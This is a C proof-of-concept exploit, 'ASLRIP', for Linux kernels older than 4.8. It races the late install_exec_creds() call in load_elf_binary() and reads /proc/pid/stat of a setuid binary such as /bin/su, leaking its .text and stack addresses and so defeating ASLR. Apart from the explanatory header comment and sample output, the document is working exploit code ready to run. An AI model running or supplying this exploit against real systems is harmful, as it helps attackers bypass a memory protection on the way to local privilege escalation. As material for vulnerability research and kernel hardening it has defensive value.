/* * Federico Bento (@uid1000) * * ASLRIP * * This should work on Linux kernels < 4.8 * * Was fixed on commit 9f834ec18defc369d73ccf9e87a2790bfa05bf46, * but seems like it wasn't backported to older kernels, sad sad. * * install_exec_creds() is called too late in load_elf_binary() * which means that an executable is mmaped into its address space * before its credentials are set. This is a problem for setuid * binaries because we are then able to leak some addresses since * we pass the ptrace_may_access() check if we read() * /proc/pid/stat before install_exec_creds() is called. * This bypasses ASLR. We can win this race easily * by using read() on a loop before the setuid execve and * *immediately* after. * * Using /bin/su as an example, should also work on other * setuid binaries. * * $ ./aslrip * ***** ASLRIP ***** * [+] Leaking /bin/su * [+] /bin/su .text is at: 0x55d4bca2f000 * [+] /bin/su stack is at: 0x7fff3ea72003 * Password: * su: Authentication failure * */ #include #include #include #include #include #include #include void wait_and_parse(int fd) { int i, found_text, count = 1; char buf[4096], *tok; for(i = 0; i < 500000; i++) { read(fd, buf, sizeof(buf)); //printf("%s\n", buf); if(strstr(buf, "(su)")) { tok = strtok(buf, " "); while(tok != NULL) { if(count == 47 && strtoul(tok, NULL, 10)) { printf("[+] /bin/su .text is at: 0x%lx\n", strtoul(tok, NULL, 10) - 0x20e000); found_text = 1; } else if(found_text == 1 && count == 48 && strtoul(tok, NULL, 10)) { printf("[+] /bin/su stack is at: 0x%lx\n", strtoul(tok, NULL, 10) - 0x20c10); close(fd); exit(0); } count++; tok = strtok(NULL, " "); } } count = 1; lseek(fd, 0, SEEK_SET); } } int main() { int pid, fd; char buf[20]; pid = fork(); if(pid == 0) { printf("***** ASLRIP *****\n"); printf("[+] Leaking /bin/su\n"); snprintf(buf, sizeof(buf) - 1, "/proc/%d/stat", getppid()); fd = open(buf, O_RDONLY); if(fd == -1) { printf("open() failed\n"); exit(1); } wait_and_parse(fd); } else { sleep(1); execlp("/bin/su", "su", NULL); } }